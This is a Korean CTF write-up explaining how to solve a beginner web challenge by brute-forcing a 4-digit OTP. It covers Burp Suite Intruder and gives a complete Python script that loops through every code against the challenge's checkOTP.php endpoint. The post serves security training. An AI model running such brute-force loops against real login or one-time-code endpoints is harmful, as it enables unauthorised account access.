본문 바로가기
🚩CTF Write up

Pin Code Crack - SegFault Web Hacking CTF Write up

by Prof. Panda 2024. 2. 7.

CTF 문제의 목표

본 CTF 문제는 간단한 Brute Force 방식을 통해서 4자리 수 암호를 알아내는 문제입니다. 별도의 제한사항이 없으며 암호의 방식도 매우 단순합니다. 입문자를 대상으로 제작된 CTF문제입니다.

  • Burp Suite의 Intruder 사용법
  • 또는 Python 등의 언어를 통한 코드 작성 기술

실습 환경

본 문제는 아래와 같은 환경과 도구를 통해 테스트하였습니다.

  • Windows 10 / Mac OS
  • Burp Suite
  • Python
    • 라이브러리 : requests 

풀이 단계

  1. 사이트에 접근하여 필요한 요구사항 확인
  2. 4자리 수 Pin Code를 뚫기 위한 Brute Force 도구 선택
    1. Burp Suite Intruder
    2. Python Code
  3. 암호 입력 및 플래그 획득

상세한 문제풀이

1) 사이트에 접근하여 어떤 방식으로 작동하는지 확인합니다. 문제의 목적이 pin Code를 찾는 것으로, 직접 접근과 같은 방식은 어렵다는 것을 추측할 수 있습니다. 파라미터를 GET 방식으로 전송하는 매우 간단한 방식입니다.

login 버튼을 누르면 pin code를 입력하라는 창이 뜹니다.

2) checkOTP.php에 optNum 파라미터를 GET 방식으로 전송하여 해당 파라미터 값을 검증하는 식으로 인증이 이루어지는 것을 이용하여 Python으로 코드를 작성하거나 Burp Suite의 인트루더를 통해서 무작위 대입 공격을 진행해 볼 수 있습니다.

 

2-1) 버프 스위트의 인트루더 도구를 사용해 볼 수 있습니다. 먼저 0000~9999 페이로드를 받아줍니다. 해당 페이로드를 인트루더 페이로드 탭에 넣어주고, url에서 변경되어야 하는 부분을 표시해주고 공격을 시작하면 됩니다.

페이로드와 브루트 포싱 공격 결과

2-2) 파이썬으로 코드를 작성해줍니다. 아래 코드처럼 requests 라이브러리를 사용하고, 0부터 9999까지 반복합니다.

import requests
print("[*] Password Crack Start...")
for i in range(0,9999):
    tryNum = str(i).zfill(4)
    print("[>] Try : [" + tryNum + "]", end="\r")
    response = requests.get("http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum=" + tryNum)
    if 'Login Fail...' not in response.text:
        print("[+] Found Code : " + tryNum)
        break

3) 답을 발견하면 해당 답을 입력하여 인증에 성공하고 플래그를 획득합니다.